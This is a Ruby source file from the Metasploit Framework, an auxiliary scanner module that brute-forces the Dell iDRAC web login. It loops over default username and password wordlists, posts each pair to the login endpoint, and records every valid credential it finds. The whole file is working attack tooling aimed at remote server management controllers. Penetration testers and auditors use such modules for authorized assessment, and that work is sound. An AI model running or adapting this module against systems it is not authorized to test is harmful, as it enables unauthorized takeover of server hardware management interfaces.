metasploit-framework/modules/auxiliary/scanner/http/dell_idrac.rb

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient
	include Msf::Auxiliary::AuthBrute
	include Msf::Auxiliary::Report
	include Msf::Auxiliary::Scanner

	def initialize
		super(
			'Name' => 'Dell iDRAC default Login',
			'Version' => '$Revision$',
			'Description' => %q{This module attempts to login to a iDRAC webserver
				instance using default username and password. Tested against
				Dell Remote Access Controller 6 - Express version 1.50 and 1.85},
			'Author' =>
				[
					'Cristiano Maruti <cmaruti[at]gmail.com>'
				],
			'References' =>
				[
					['CVE', '1999-0502'] # Weak password
				],
			'License' => MSF_LICENSE
		)

		register_options([
			OptString.new('TARGETURI', [true, 'Path to the iDRAC Administration page', '/data/login']),
			OptPath.new('USER_FILE',  [ false, "File containing users, one per line",
				File.join(Msf::Config.install_root, "data", "wordlists", "idrac_default_users.txt") ]),
			OptPath.new('PASS_FILE',  [ false, "File containing passwords, one per line",
				File.join(Msf::Config.install_root, "data", "wordlists", "idrac_default_pass.txt") ]),
			OptInt.new('RPORT', [true, "Default remote port", 443])
		], self.class)

		register_advanced_options([
			OptBool.new('SSL', [true, "Negotiate SSL connection", true])
		], self.class)
	end

	def target_url
		proto = "http"
		if rport == 443 or ssl
			proto = "https"
		end
		"#{proto}://#{vhost}:#{rport}#{datastore['URI']}"
	end
	
	def do_login(user=nil, pass=nil)
	
		auth = send_request_cgi({
			'method' => 'POST',
			'uri' => target_uri.path,
			'SSL' => true,
			'vars_post' => {
				'user' => user,
				'password' => pass
			}
		}, 20)
				
		if(auth and auth.body.to_s.match(/<authResult>[0|5]<\/authResult>/) != nil )
			print_good("#{target_url} - SUCCESSFUL login for user '#{user}' with password '#{pass}'")
			report_auth_info(
				:host => rhost,
				:port => rport,
				:proto => 'tcp',
				:sname => (ssl ? 'https' : 'http'),
				:user => user,
				:pass => pass,
				:active => true,
				:source_type => "user_supplied",
				:duplicate_ok => true
			)
		else
			print_error("#{target_url} - Dell iDRAC - Failed to login as '#{user}' with password '#{pass}'")
		end
	end
	
	def run_host(ip)

		print_status("Verifying that login page exists at #{ip}")
		begin
			res = send_request_raw({
				'method' => 'GET',
				'uri' => target_uri.path
				}, 20)
				
			if (res and res.code == 200 and res.body.to_s.match(/<authResult>1/) != nil)
				print_status("Attempting authentication")
				
				each_user_pass { |user, pass|
					do_login(user, pass)
				}
				
			elsif (res and res.code == 301)
				print_error("#{target_url} - Page redirect to #{res.headers['Location']}")
				return :abort
			else
				print_error("The iDRAC login page does not exist at #{ip}")
				return :abort
			end	

		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
		rescue ::Timeout::Error, ::Errno::EPIPE
		rescue ::OpenSSL::SSL::SSLError => e
			return if(e.to_s.match(/^SSL_connect /) ) # strange errors / exception if SSL connection aborted
		end
	end

end